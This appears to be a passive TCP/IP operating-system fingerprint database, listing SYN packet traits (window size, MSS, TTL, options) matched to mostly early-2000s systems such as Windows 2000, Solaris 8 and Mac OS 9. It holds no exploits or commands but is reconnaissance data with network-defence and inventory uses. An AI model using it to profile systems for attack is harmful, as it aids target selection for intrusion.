4470:05B4:80:00:0:1:1:0:A:LT:Windows 2000 4470:05B4:80:00:0:1:1:1:A:3C:Windows NT4 / Win95 / Win98 4470:05B4:80:00:1:1:0:1:A:40:Linux 2.2.14 - 2.2.20 4470:05B4:80:00:1:1:0:1:A:LT:Windows 2000 Professional 4470:05B4:80:00:1:1:1:0:A:34:Windows 2000 Server 4470:05B4:80:00:1:1:1:1:A:40:Windows 2000 Pro / XP Pro / 2003 Server 4470:05B4:80:00:1:1:1:1:S:40:HP Printer 4470:05B4:80:WS:0:0:1:0:A:2C:Windows 2000 4470:05B4:80:WS:1:1:0:0:A:30:Windows 2000 pro 4470:05B4:80:WS:1:1:1:0:A:30:Windows 2000 Server / XP Pro / NT 4.0 server 4470:05B4:80:WS:1:1:1:0:A:3C:FreeBSD 4.x 4470:05B4:80:WS:1:1:1:0:S:30:Windows Server 2003 Enterprise Edition 4470:05B4:80:WS:1:1:1:1:S:3C:Windows 2000 Advance Server 4470:05B4:FF:WS:0:0:1:0:A:2C:Windows 2000 4470:05B4:FF:WS:1:1:1:0:A:30:Windows XP 4470:B405:40:00:0:1:1:1:A:3C:Windows NT 2000/5.0 4470:B405:80:00:0:1:0:1:A:3C:Windows ME 4470:B405:80:00:0:1:1:1:A:3C:Windows 2000 Workstation / XP Home 4470:B405:80:00:0:1:1:1:A:LT:Windows Server 2003 4470:B405:80:00:1:1:1:0:A:34:Windows XP SP1 4470:B405:80:WS:1:1:0:0:A:30:Mac OS 8.6 4470:B405:80:WS:1:1:1:0:A:30:Windows XP 4470:B405:FF:00:0:0:1:0:A:LT:Mac OS 8.6 4470:_MSS:40:WS:0:0:0:0:A:LT:FreeBSD 2.2.1 - 4.0 4470:_MSS:40:WS:0:0:1:0:A:LT:FreeBSD 2.2.1 - 4.0 4470:_MSS:80:WS:0:0:0:0:A:LT:Snap Network Box 44E8:04EC:80:00:1:1:1:1:A:40:Windows 2000 pro 44E8:04EC:80:WS:1:1:1:0:A:30:Windows 2000 Pro 4510:0550:80:00:1:1:1:1:A:40:Windows 2000 4510:0550:80:WS:0:0:1:0:A:LT:Windows 2000 Professional 5.0.2195 Service Pack 2 4510:0550:80:WS:1:1:1:0:A:30:Windows 2000 Professional 5.0.2195 Service Pack 2 4510:05B4:FF:WS:1:1:1:0:A:30:Windows XP Pro 455B:_MSS:80:00:0:0:0:0:A:LT:MacOS 8.1 running on a PowerPC G3 (iMac) 455B:_MSS:80:00:0:0:1:0:A:LT:Mac OS 8.6 462B:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 7 X86 462B:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 7 X86 4764:23B2:40:00:1:1:1:1:S:3C:Linux 2.4.xx 4860:0218:80:WS:1:1:1:0:S:30:Windows XP 4860:058E:10:WS:1:1:1:0:S:30:Linux 4860:05B4:80:WS:1:1:1:0:S:30:Windows 2000 4EC0:05B4:80:00:0:1:1:1:A:3C:Windows XP Pro SP1 4F68:05AC:80:WS:1:1:1:0:S:30:Windows 2000 Professional 4FD8:05B4:40:00:1:1:1:0:S:34:Windows XP Professional 5B40:_MSS:80:WS:0:0:0:0:A:LT:Polycom ViewStation 512K videoconferencing system 6000:_MSS:80:00:0:0:0:0:A:LT:SCO OpenServer(TM) Release 5 6000:_MSS:80:00:0:0:1:0:A:LT:OpenVMS v7.1 VAX 6000:_MSS:80:00:0:1:1:0:A:LT:Sequent DYNIX/ptx(R) V4.4.6 6028:05B4:40:00:0:1:1:1:A:3C:Solaris 8 6028:05B4:40:00:1:1:1:1:A:40:Solaris 7 / 8 6028:B405:40:00:0:1:1:1:A:3C:Solaris 8 6030:0564:40:00:1:1:1:1:A:40:Solaris 8 6030:6405:40:00:0:1:1:1:A:3C:Solaris 8 6044:05B4:40:00:1:1:1:1:A:40:unknown 6050:05B4:40:00:1:1:1:0:A:34:Windows 6050:05B4:40:WS:0:0:1:0:A:2C:Solaris 9 6050:05B4:FF:WS:0:0:0:0:A:2C:Solaris 8 606C:00D8:40:00:1:1:1:1:A:40:Solaris 9 60DA:0584:40:00:0:1:1:1:A:3C:Solaris 8 60DA:_MSS:80:00:0:1:1:0:A:LT:Sun Solaris 8 early acces beta through actual release 60DA:_MSS:80:00:0:1:1:1:A:LT:Sun Solaris 8 early acces beta through actual release 60F4:05B4:40:00:0:0:1:0:S:LT:SCO UnixWare 7.0.1 60F4:05B4:40:00:0:1:1:0:A:30:SunOS 5.8 60F4:05B4:40:00:0:1:1:0:S:LT:SCO UnixWare 7.1.0 x86 60F4:05B4:40:00:0:1:1:1:A:3C:SCO UnixWare 7.1.1 60F4:05B4:40:00:1:1:1:0:A:34:SunOS 5.8 60F4:05B4:40:WS:0:0:0:0:A:2C:SCO openserver 5.0.5 60F4:05B4:40:WS:0:0:0:0:S:2C:SCO openserver 5.0.6 60F4:05B4:40:WS:0:0:1:0:A:2C:Windows 2000 60F4:05B4:40:WS:0:0:1:0:S:2C:SCO Openserver 5 60F4:05B4:40:WS:1:1:0:0:S:30:SunOS 5.8 60F4:05B4:40:WS:1:1:1:0:A:30:SunOS 5.8 60F4:05B4:40:WS:1:1:1:0:S:30:Solaris 8 60F4:05B4:40:WS:1:1:1:0:S:LT:Solaris 8 60F4:B405:40:WS:1:1:1:0:S:LT:Sun 60F4:_MSS:40:WS:0:0:1:0:A:LT:SCO OpenServer 5.0.5 60F4:_MSS:80:00:0:1:0:0:A:LT:NCR MP-RAS SVR4 UNIX System Version 3 60F4:_MSS:80:00:0:1:0:1:A:LT:NCR MP-RAS SVR4 UNIX System Version 3 60F4:_MSS:80:00:0:1:1:0:A:LT:NCR MP-RAS 3.01 60F4:_MSS:80:00:0:1:1:1:A:LT:NCR MP-RAS 3.01 60F4:_MSS:80:WS:0:0:0:0:A:LT:SCO UnixWare 7.0.0 or OpenServer 5.0.4-5 6108:0564:40:WS:1:1:0:0:A:30:Windows 95 / 98 61A8:0200:40:00:1:1:1:1:A:LT:Windows NT 61A8:_MSS:80:00:0:1:1:0:A:LT:Windows NT4 / Win95 / Win98 61A8:_MSS:80:00:0:1:1:1:A:LT:Windows NT4 / Win95 / Win98 6270:04EC:80:00:1:1:1:0:S:34:Windows 2000 6270:04EC:80:WS:1:1:1:0:A:30:Linux Red Hat 6270:04EC:80:WS:1:1:1:0:S:30:Windows XP 6270:0564:40:WS:1:1:1:0:A:30:Windows 6270:0584:40:00:1:1:1:1:A:40:SunOS 5.8 6270:05AC:80:00:1:1:1:1:A:40:Solaris 6270:05B4:40:00:1:1:1:0:S:34:Windows 2000 6270:05B4:80:WS:1:1:1:0:S:30:Windows XP 6348:0584:40:WS:1:1:1:0:A:30:Solaris/Ultra sparc 6420:_MSS:40:WS:0:1:1:0:A:3C:SunOS 5.8 64F0:055C:40:WS:1:1:1:1:A:3C:SunOS 6540:05B4:40:00:1:1:1:1:A:40:Windows XP 6978:05B4:80:WS:1:1:1:0:S:30:Windows XP 6C68:05B4:40:02:1:1:1:0:S:34:Windows XP 6FCC:_MSS:80:WS:0:0:0:0:A:LT:IBM OS/2 V 2.1 7000:05B4:40:WS:0:0:0:0:A:2C:IBM OS/2 7000:05B4:40:WS:0:0:0:0:S:2C:IBM OS/2 V.3 7000:_MSS:80:WS:0:0:0:0:A:LT:IBM OS/2 V.3 70D5:_MSS:80:00:0:1:1:0:A:LT:Digital UNIX OSF1 V 4.0-4.0F 7210:04EC:40:00:1:1:1:1:S:40:Windows 98 7210:05B4:80:WS:0:0:1:0:A:2C:Windows NT server 4.0 sp6a 77C4:05B4:40:00:0:1:1:0:A:30:Linux 2.2.19 77C4:05B4:40:00:1:1:0:1:A:3C:Linux 2.2.22 (PLD) 77C4:05B4:40:00:1:1:1:1:A:3C:Linux SuSE 7.3 77C4:05B4:40:00:1:1:1:1:A:LT:Linux SuSE 7.x 77C4:05B4:40:WS:0:0:1:0:A:2C:SuSE Linux 7.1 77C4:05B4:40:WS:1:1:1:0:A:30:Linux Mandrake 7.1 / Debian 3.0 77C4:B405:40:00:0:1:1:1:A:3C:Linux 77C4:_MSS:40:WS:0:0:1:0:A:LT:Linux 2.1.122 - 2.2.14 7850:0578:40:WS:1:1:1:0:A:30:Suse Linux 7.0 7900:_MSS:80:00:0:1:1:0:A:LT:Atari Mega STE running JIS-68k 3.0 7900:_MSS:80:00:0:1:1:1:A:LT:Atari Mega STE running JIS-68k 3.0 7958:0584:40:00:1:1:1:0:A:34:Linux Mandrake 7.2 7958:0584:40:00:1:1:1:1:A:3C:Windows NT 4 7958:0584:40:WS:1:1:1:0:A:30:Linux 2.2.16-3 (RH 6.2) 7960:0F2C:40:00:1:1:1:0:S:LT:Linux 2.2.12-20 7B10:0598:40:00:1:1:1:1:A:3C:Linux 2.2.18pre21 7B2F:_MSS:80:00:0:1:1:0:A:LT:Linux 2.1.19 - 2.2.17 7B2F:_MSS:80:00:0:1:1:1:A:LT:Linux 2.1.19 - 2.2.17 7B44:055C:40:WS:1:1:1:0:A:30:Debian/GNU Linux 7B88:0218:40:WS:0:0:1:0:A:2C:Reliant Unix from Siemens-Nixdorf 7BC0:_MSS:40:WS:0:0:1:0:A:LT:Linux 2.1.122 - 2.2.14 7BF0:052A:40:WS:1:1:1:0:A:30:PLD Linux 7BF0:2A05:40:WS:1:1:1:0:A:30:Linux 2.2.19 7BF0:_MSS:40:WS:0:0:1:0:A:LT:Linux 2.1.122 - 2.2.14 7BFC:0564:40:00:1:1:1:1:A:3C:Slackware Linux 8.0 7BFC:0564:40:00:1:1:1:1:A:LT:CISCO PIX 6.1 7BFC:0564:40:WS:0:0:1:0:A:2C:Linux 7BFC:0564:40:WS:1:0:1:1:A:38:Linux 7BFC:0564:40:WS:1:1:1:0:A:LT:Cisco PIX 7BFC:6405:40:00:0:1:1:1:A:3C:Linux 7C00:_MSS:80:00:0:0:0:0:A:LT:Linux 2.0.27 - 2.0.30 7C00:_MSS:80:WS:0:0:0:0:A:LT:Convex OS Release 10.1 7C38:_MSS:80:00:0:1:1:0:A:LT:Linux 2.1.19 - 2.2.17 7C38:_MSS:80:00:0:1:1:1:A:LT:Linux 2.1.19 - 2.2.17 7C70:05B4:40:00:1:1:1:0:S:LT:Linux 2.3.99-ac - 2.4.0-test1 7C70:_MSS:80:00:0:1:1:0:A:LT:Linux 2.3.28-33 7C70:_MSS:80:00:0:1:1:1:A:LT:Linux 2.3.28-33 7C9C:05AA:40:WS:0:0:1:0:A:2C:SuSE Linux 7.0 7C9C:AA05:40:00:0:1:1:1:A:LT:Linux RedHat 7.1 7CC8:0584:40:00:1:1:1:0:S:3C:Linux 2.2 7D00:04EC:80:WS:1:1:1:0:S:30:Windows XP Home 7D00:05A0:80:00:1:1:1:0:S:34:Windows 7D00:05A0:80:WS:1:1:1:0:S:30:OpenBSD 7D00:05B4:80:WS:1:1:1:0:S:30:Windows XP Pro 7D78:0109:80:10:0:1:0:1:S:LT:OpenBSD 2.9 generic 7D78:0564:40:00:1:1:1:1:S:3C:Linux 7D78:0564:40:WS:1:1:1:1:S:3C:Slware Linux 7.1 7D78:05AC:40:00:1:1:1:0:A:34:OpenBSD 2.9 7D78:05B4:01:00:1:1:1:1:S:3C:Linux 7D78:05B4:20:00:1:1:1:0:S:LT:Linux 2.2.13 7D78:05B4:3A:WS:0:0:0:0:S:LT:Linux 2.0.38 7D78:05B4:40:00:0:1:1:0:A:30:RedHat 6.2 7D78:05B4:40:00:0:1:1:0:S:LT:Linux 2.2.19 7D78:05B4:40:00:0:1:1:1:A:3C:Linux 2.2.17 - 2.2.20 7D78:05B4:40:00:1:1:0:0:S:LT:Linux 2.2.19 7D78:05B4:40:00:1:1:0:1:A:3C:Linux pld 2.4.22 7D78:05B4:40:00:1:1:1:0:A:34:Linux 2.2.19 (Mandrake Secure) 7D78:05B4:40:00:1:1:1:0:A:LT:Linux 2.2.19 - 2.2.20 7D78:05B4:40:00:1:1:1:0:S:34:Linux 2.2.19 (Mandrake Secure) 7D78:05B4:40:00:1:1:1:0:S:3C:Linux 2.2.9 - 2.2.18 7D78:05B4:40:00:1:1:1:0:S:LT:Linux 2.2.14 - 2.2.20 7D78:05B4:40:00:1:1:1:1:A:3C:Linux 2.2.14 - 2.2.20 7D78:05B4:40:00:1:1:1:1:S:3C:Linux 2.2.14 - 2.2.20 7D78:05B4:40:09:1:1:1:0:S:3C:Linux 2.2.x 7D78:05B4:40:BE:1:1:1:0:S:3C:Linux 2.2.16 7D78:05B4:40:WS:0:0:0:0:S:2C:Linux 2.0.33 7D78:05B4:40:WS:0:0:1:0:A:2C:Cobalt Linux RaQ 4 (2.2.19) 7D78:05B4:40:WS:0:0:1:0:A:LT:Linux 2.2.19 - 2.2.20 7D78:05B4:40:WS:1:0:1:1:A:38:Linux 2.2.16-22 7D78:05B4:40:WS:1:1:0:0:A:30:Linux 2.2.(PLD) 7D78:05B4:40:WS:1:1:1:0:A:30:Linux 2.2.12 - 2.2.20 7D78:05B4:80:WS:0:0:1:0:A:LT:Windows XP 7D78:05B4:80:WS:1:1:1:0:A:30:Windows 2000 sp2 7D78:05B4:80:WS:1:1:1:0:S:30:Windows XP Professional 7D78:05B4:FF:00:1:1:1:1:A:3C:Linux 2.2.18 7D78:B405:40:00:0:1:1:0:A:30:Yellow Dog Linux 2.2 7D78:B405:40:00:0:1:1:1:A:3C:Cobalt 7D78:B405:40:00:1:1:1:1:A:3C:Linux Redhat 6.2 Zoot (Kernel 2.2.14-5) 7D78:B405:40:00:1:1:1:1:S:LT:Linux 2.2.14 7D78:_MSS:80:WS:0:0:0:0:A:28:Linux 7D78:_MSS:80:WS:0:0:0:0:S:28:Linux 2.4.19 crypto gentoo 7DC8:0578:40:WS:1:1:1:0:A:30:Suse Linux 7E18:_MSS:80:00:0:1:1:0:A:LT:Linux Kernel 2.4.0-test5 7EA0:3F5C:40:00:1:1:1:1:A:3C:Linux Kernel 2.4.10 7EB8:3F5C:40:00:1:1:1:1:S:3C:Suse 7.3 (2.4.16) 7EDC:0584:40:WS:1:1:1:0:A:LT:Linux 2.2.18 7EF4:0514:40:00:1:1:1:1:A:3C:Linux 2.2.14 7F53:0109:40:00:0:1:1:1:A:LT:Linux 2.2.14 7F53:_MSS:80:00:0:0:0:0:A:LT:AIX 4.0 - 4.2 7F53:_MSS:80:00:0:1:1:0:A:LT:Linux 2.1.19 - 2.2.17 7F53:_MSS:80:00:0:1:1:1:A:LT:Linux 2.1.19 - 2.2.17 7F53:_MSS:80:WS:0:0:0:0:A:LT:AIX 3.2 7F53:_MSS:80:WS:0:0:1:0:A:LT:Linux Kernel 2.1.88 7F7D:_MSS:80:00:0:1:1:0:A:LT:Linux 2.1.91 - 2.1.103 7F7D:_MSS:80:00:0:1:1:1:A:LT:Linux 2.1.91 - 2.1.103 7F80:0550:40:00:1:1:1:1:A:LT:Linux 2.2.19 7FB6:0218:FF:00:0:0:0:0:S:LT:3Com HiPer ARC, System V4.2.32 7FB8:0218:40:00:1:1:0:0:S:3C:SCO UnixWare 7.1.0 x86 7FB8:0218:40:00:1:1:0:1:S:3C:Linux 7FB8:0218:40:00:1:1:1:1:A:LT:Linux 2.2.19 7FB8:0218:40:WS:0:0:1:0:A:2C:Linux 2.2.16 7FE0:05B4:40:WS:0:0:0:0:A:2C:Linux 2.0.38 7FE0:_MSS:40:WS:0:0:0:0:A:LT:Linux 2.0.34 - 2.0.38 7FE0:_MSS:80:00:0:0:0:0:A:LT:Linux 2.0.32-34 7FE0:_MSS:80:WS:0:0:0:0:A:LT:Cobalt Linux 4.0 (Fargo) Kernel 2.0.34C52_SK on MIPS 7FF0:_MSS:80:00:0:0:0:0:A:LT:Linux 2.0.34-38 7FFF:04EC:80:WS:1:1:1:0:S:30:Windows 2000 7FFF:0550:80:00:1:1:1:0:S:34:Windows 2000 7FFF:0550:80:WS:1:1:1:0:A:30:Windows 2000 7FFF:0550:80:WS:1:1:1:0:S:30:Suse 7FFF:0564:80:WS:1:1:1:0:A:30:Windows 98 SE 7FFF:0578:80:WS:1:1:1:0:S:30:Linux Suse 7FFF:057A:80:00:1:1:1:0:S:34:Linux 7FFF:0586:40:WS:1:1:1:0:S:30:Windows 2000 7FFF:058E:40:00:1:1:1:0:S:34:OpenBSD 3.1 7FFF:05A0:80:00:1:1:1:0:S:34:Windows XP 7FFF:05A0:80:WS:1:1:1:0:A:30:Windows 98 SE 7FFF:05A0:80:WS:1:1:1:0:S:30:Windows 2000 Server 7FFF:05AC:80:00:0:1:1:0:A:30:Windows 2000 / XP / ME 7FFF:05AC:80:00:1:1:1:0:S:34:Windows 2000 7FFF:05AC:80:WS:1:1:1:0:S:30:Microsoft Windows XP Professional 7FFF:05B4:40:00:0:1:0:0:A:30:Sinix 5.4x 7FFF:05B4:40:00:0:1:1:0:A:30:Windows XP 7FFF:05B4:40:00:1:1:1:1:S:3C:SuSe Linux 7FFF:05B4:40:03:1:1:1:1:S:3C:Linux 7FFF:05B4:40:WS:0:0:0:0:S:2C:Windows 98 SE 7FFF:05B4:80:00:0:1:1:1:A:3C:Windows XP 7FFF:05B4:80:00:1:1:1:0:S:34:Windows XP / 2000 7FFF:05B4:80:00:1:1:1:1:A:40:Windows 2000 7FFF:05B4:80:00:1:1:1:1:S:40:Windows XP Service Pack 1 7FFF:05B4:80:WS:0:0:1:0:A:2C:Windows NT 7FFF:05B4:80:WS:0:0:1:0:S:2C:Windows NT 4.0 SP6a 7FFF:05B4:80:WS:1:1:1:0:A:30:Windows 98 SE 7FFF:05B4:80:WS:1:1:1:0:S:30:Windows 2000 Server 7FFF:7E05:80:00:0:1:1:0:A:30:BeOS 7FFF:_MSS:40:WS:0:0:0:0:S:28:Linux 2.6.10 7FFF:_MSS:80:00:0:0:1:0:A:LT:Linux 2.4.7 (X86) 7FFF:_MSS:80:00:0:1:0:0:A:LT:ReliantUNIX-Y 5.44 B0033 RM600 1/256 R10000 7FFF:_MSS:80:00:0:1:1:0:A:LT:Linux Kernel 2.4.xx (X86) 7FFF:_MSS:80:00:0:1:1:1:A:LT:Linux Kernel 2.4.xx (X86) 7FFF:_MSS:80:WS:0:0:0:0:A:LT:SINIX-Y 5.43B0045 7FFF:_MSS:80:WS:0:0:1:0:A:LT:Linux 2.1.76 8000:0200:40:00:0:1:0:0:A:LT:Mac OS X Server 8000:0218:40:WS:0:0:1:0:A:2C:HP-UX 8000:0564:40:00:0:1:0:1:A:3C:solaris 8 8000:0564:40:00:1:1:1:1:A:40:Solaris 8 8000:0578:40:00:0:1:1:1:S:3C:Linux 8000:0584:40:00:0:1:1:1:A:3C:HP-UX 8000:0584:40:WS:0:0:1:0:A:2C:HP-UX B.10.20 8000:05A0:40:WS:1:1:1:0:A:30:Windows 2000 8000:05AC:40:00:0:1:1:1:A:3C:FreeBSD 4.9 8000:05AC:40:00:0:1:1:1:S:LT:Mac OS X 10.1.5 8000:05AC:40:WS:0:0:0:0:A:2C:FreeBSD 8000:05AC:40:WS:0:0:1:0:A:2C:OS400 V5R2 8000:05AC:FF:WS:0:0:1:0:A:2C:Mac OS X 8000:05B4:01:WS:0:0:1:0:A:2C:HP-UX 8000:05B4:20:WS:0:0:1:0:S:2C:Windows CE 3.0 (Ipaq 3670) 8000:05B4:20:WS:0:1:1:0:S:2C:Windows CE 3.0 (Ipaq 3670) 8000:05B4:40:00:0:0:1:0:S:2C:HP-UX B.10.01 A 9000/712 8000:05B4:40:00:0:1:0:0:A:LT:NetBSD 8000:05B4:40:00:0:1:0:0:S:LT:OpenVMS 8000:05B4:40:00:0:1:0:1:A:3C:HP-UX B.11.00 8000:05B4:40:00:0:1:0:1:S:3C:NetBSD 8000:05B4:40:00:0:1:1:0:A:LT:HP-UX 8000:05B4:40:00:0:1:1:0:S:30:Digital UNIX V4.0E, Mac OS X 8000:05B4:40:00:0:1:1:1:A:3C:Windows 8000:05B4:40:00:0:1:1:1:S:3C:Mac OS X 10.1.[23] 8000:05B4:40:00:1:1:1:1:S:40:OpenBSD 3.1 8000:05B4:40:WS:0:0:0:0:A:2C:FreeBSD 8000:05B4:40:WS:0:0:0:0:S:2C:AIX 8000:05B4:40:WS:0:0:1:0:A:2C:Mac OS X Darwin 1.4 / HP-UX 10.20 8000:05B4:40:WS:0:0:1:0:S:2C:Mac OS X 8000:05B4:40:WS:1:1:1:0:A:30:Windows 2000 8000:05B4:80:00:0:1:1:0:S:30:Dec V4.0 OSF1 8000:05B4:80:00:1:1:1:0:A:34:Windows XP Pro 8000:05B4:80:WS:0:0:1:0:S:LT:Novell NetWare 4.11 8000:05B4:80:WS:1:1:1:0:A:30:Windows CE .NET 8000:05B4:80:WS:1:1:1:0:S:30:Windows XP 8000:05B4:FF:00:0:1:0:0:S:30:MAC OS 8.6 8000:05B4:FF:00:0:1:1:0:S:30:Mac OS 9 8000:05B4:FF:00:0:1:1:1:A:3C:Mac OS 8000:05B4:FF:WS:0:0:1:0:A:LT:OpenBSD 8000:05B4:FF:WS:1:1:1:0:A:30:Wire Home Portal DSL Routerw/nat 8000:1000:40:WS:0:0:1:0:A:2C:HP-UX 8000:114C:40:WS:0:0:0:0:A:2C:IBM MVS 8000:6405:FF:00:0:1:1:1:A:3C:Mac OS 9.2.2 8000:6405:FF:WS:0:0:1:0:A:2C:Mac OS 9.2.2 8000:9405:FF:00:0:1:1:1:A:3C:Mac Os 9.1 8000:B405:40:00:0:1:1:1:S:3C:Mac OS X 10.x (Darwin 1.3.x 1.4.x 5.x) 8000:B405:40:00:0:1:1:1:S:LT:Mac OS X 10.x.x - Darwin 6.1 8000:B405:40:00:0:1:1:1:S:LT:Mac Ox X 10.2.8 Jaguar 8000:B405:40:WS:0:0:1:0:S:2C:MacOS X 8000:B405:40:WS:0:0:1:0:S:LT:Mac Os X 8000:B405:80:00:1:1:1:1:S:40:Windows CE 3.0 8000:B405:80:WS:1:1:1:0:S:LT:Pocket PC 8000:B405:FF:00:0:1:0:0:S:LT:Mac OS 9.1 8000:B405:FF:00:0:1:1:0:A:30:Mac OS 9.1 8000:B405:FF:00:0:1:1:0:S:30:Mac OS 9.2 8000:B405:FF:00:0:1:1:1:A:3C:Mac OS 9.1 8000:_MSS:80:00:0:0:1:0:A:LT:Novell NetWare 3.12 - 5.00 8000:_MSS:80:00:0:1:0:0:A:LT:Cray UNICOS 9.0.1ai - 10.0.0.2 8000:_MSS:80:00:0:1:0:1:A:LT:Cray UNICOS 9.0.1ai - 10.0.0.2 8000:_MSS:80:00:0:1:1:0:A:LT:Apple MacOS 9.04 (Powermac or G4) 8000:_MSS:80:00:0:1:1:1:A:LT:Apple MacOS 9.04 (Powermac or G4) 8000:_MSS:80:WS:0:0:0:0:A:LT:DECNIS 600 V4.1.3B System 8000:_MSS:80:WS:0:0:1:0:A:LT:Cisco IOS 12.0(3.3)S (perhaps a 7200) 804C:A005:40:00:0:1:1:1:A:3C:Mac OS X 8052:05B4:40:01:1:1:1:1:S:40:Solaris 5.8 805C:_MSS:80:00:0:1:0:0:A:LT:BSDI BSD/OS 2.0 - 2.1 805C:_MSS:80:00:0:1:0:1:A:LT:BSDI BSD/OS 2.0 - 2.1 805C:_MSS:80:00:0:1:1:0:A:LT:Compaq Tru64 UNIX (formerly Digital UNIX) 4.0e 807A:_MSS:80:00:0:1:0:0:A:LT:OpenBSD 2.6-2.8 807A:_MSS:80:00:0:1:0:1:A:LT:OpenBSD 2.6-2.8 807A:_MSS:80:00:0:1:1:0:A:LT:AmigaOS 3.1 running Miami Deluxe 0.9m 807A:_MSS:80:00:0:1:1:1:A:LT:AmigaOS 3.1 running Miami Deluxe 0.9m 8084:0584:40:01:1:1:1:1:A:40:SunOS 5.8 / Solaris 8 8160:0564:40:01:1:1:1:0:A:34:Solaris 8 8160:05B4:40:01:0:1:1:1:A:3C:Solaris 8 - X86 81D0:0218:40:00:0:1:0:0:A:LT:OSF1 4.0 81D0:_MSS:40:WS:0:0:1:0:A:LT:Compaq Tru64 UNIX 5.0 8218:05B4:40:00:0:1:1:1:A:3C:Mac OS X 10.1.5 8218:05B4:40:00:1:1:1:1:A:40:Solaris 8218:05B4:40:01:1:1:1:0:A:LT:Solaris 8 8218:05B4:40:01:1:1:1:1:A:40:Gauntlet Firewall 8218:B405:40:00:0:1:0:1:A:3C:MAC OS X 10.3.4 8218:B405:40:00:0:1:1:1:A:3C:Mac OS X 10.1.4 8218:B405:40:00:0:1:1:1:A:LT:Mac OS X 8218:B405:40:00:0:1:1:1:A:LT:MacOS X Server Release 8235:0488:FF:WS:0:0:0:0:S:2C:Mac OS X 8246:AA05:40:00:0:1:0:1:A:3C:X server 8274:05AC:40:WS:0:0:1:0:A:2C:Digital Unix 4.0b 8274:05B4:40:WS:0:0:0:0:A:2C:Digital Unix 4.0b 832C:05B4:40:00:0:1:1:0:A:30:Compaq Tru64 UNIX 5.0 / Digital UNIX V5.60 832C:05B4:40:WS:0:0:0:0:A:2C:Digital Unix 832C:05B4:40:WS:0:0:1:0:A:2C:Freebsd 4.3 832C:05B4:40:WS:1:1:1:0:A:30:Windows 2000 pro 832C:05B4:40:WS:1:1:1:0:S:30:Solaris 8 832C:05B4:FF:00:1:1:0:0:A:34:Windows 2000 Server 832C:05B4:FF:WS:0:0:1:0:S:2C:Solaris 7 832C:05B4:FF:WS:1:1:0:0:A:30:MAC OS X 832C:10D8:40:00:0:1:0:0:A:30:Unix 832C:B405:40:00:0:1:1:0:A:30:Digital UNIX V4.0F 832C:B405:40:WS:0:0:1:0:A:2C:Mac OS X 10.1 832C:B405:40:WS:0:0:1:0:A:LT:Darwin 832C:B405:FF:00:0:1:1:0:A:LT:Mac OS X 832C:_MSS:40:WS:0:0:1:0:A:LT:Linux 2.0.34 - 2.0.38 8340:0578:40:WS:1:1:1:0:A:30:Solaris 8 8340:0584:40:00:0:1:1:1:A:3C:Mac OS X/10 8340:05B4:40:00:0:1:1:1:A:3C:MacOS X 8371:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 8371:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 8377:_MSS:80:00:0:0:1:0:A:LT:Solaris 2.5, 2.5.1 8400:8C05:40:00:0:1:1:1:A:3C:MacOS X 10.3 8520:B405:40:WS:0:0:1:0:A:LT:MacOS X 10.2.1 869F:_MSS:80:00:0:1:1:0:A:LT:Windows NT4 / Win95 / Win98 869F:_MSS:80:00:0:1:1:1:A:LT:Windows NT4 / Win95 / Win98 8700:05AC:FF:00:1:1:1:1:A:40:Solaris 2.6 8765:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 with tcp_strong_iss=0 8765:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 with tcp_strong_iss=0 879B:_MSS:80:WS:0:0:1:0:A:LT:Solaris 2.5, 2.5.1 87C0:05B4:FF:00:1:1:0:1:A:40:Windows 87C0:05B4:FF:00:1:1:1:1:A:40:Solaris 2.6 2.7 87C0:_MSS:FF:WS:0:0:1:0:A:LT:Solaris 2.6 - 2.7 88E0:05B4:80:WS:1:1:1:0:S:30:Windows 2000 8EDA:_MSS:80:00:0:0:1:0:A:LT:Solaris 2.5, 2.5.1 8F4D:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 8F4D:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 91B4:05AC:40:00:1:1:1:0:A:34:Windows NT 5.1 (Windows XP) 91B4:05B4:40:00:1:1:1:0:S:34:Windows XP 94C0:05B4:80:WS:1:1:1:0:S:30:Windows 2000 95C2:B405:80:WS:1:1:1:0:S:30:Windows ME 9820:05B4:40:WS:1:1:1:0:S:30:Windows 2000 9C40:05B4:80:WS:1:1:1:0:S:30:Windows Xp AA3C:05B4:80:WS:1:1:1:0:S:30:Windows 2000 Pro ABB0:059E:80:WS:1:1:1:0:A:30:Windows XP ABCD:_MSS:80:00:0:1:1:0:A:LT:Solaris 2.6 - 2.7 ABCD:_MSS:80:00:0:1:1:1:A:LT:Solaris 2.6 - 2.7 AC00:0550:80:WS:0:0:1:0:S:2C:Windows NT 4.0 SP6a AC00:05AC:80:WS:1:1:1:0:S:30:Windows 2000 SP2 AC00:FA3B:80:WS:1:1:1:0:S:LT:Windows 2000 SP2 AE4C:0594:80:WS:1:1:1:0:S:30:OpenBSD 3.5 AE4C:05B4:40:03:1:1:1:1:S:40:Windows XP AE4C:05B4:40:WS:0:0:0:0:S:2C:Windows 95 AE4C:05B4:80:03:1:1:1:0:S:34:Windows 2000 AE60:0586:80:WS:1:1:1:0:S:30:Windows ME AE60:05B4:80:03:1:1:1:1:S:40:Linux AE60:05B4:80:WS:1:1:1:0:S:30:Windows XP B270:05B4:80:WS:1:1:1:0:S:LT:Windows ME B400:05AC:20:03:1:1:1:1:S:40:windows 200 B400:05B4:20:03:1:1:0:1:S:LT:Windows 2000 SP2 B400:05B4:20:03:1:1:1:1:S:40:Windows 2000 B400:05B4:40:03:1:1:1:0:S:34:Windows XP SP2 B400:05B4:40:03:1:1:1:1:S:40:Windows XP Pro SP1 B400:05B4:80:03:1:1:1:1:S:40:Windows XP B400:B405:20:03:1:1:1:0:S:34:Windows 2000 SP3 B580:05AC:40:02:1:1:1:1:A:40:Windows XP B580:05AC:80:03:1:1:1:1:A:40:Windows XP B580:05B4:80:03:1:1:1:1:A:40:Windows XP B5A4:05B4:80:00:1:1:0:1:A:40:Linux 2.4.18 B5A4:05B4:80:00:1:1:1:0:S:34:Windows 2000 Server B5A4:05B4:80:00:1:1:1:1:A:40:Windows XP Corp. SP1 (Ger) B5A4:05B4:80:WS:0:0:0:0:A:2C:Windows XP Corp. SP1 (Ger) B5A4:05B4:80:WS:1:1:1:0:S:30:Windows XP SP2 german B5C9:_MSS:80:00:0:1:1:0:A:LT:Windows Millenium Edition 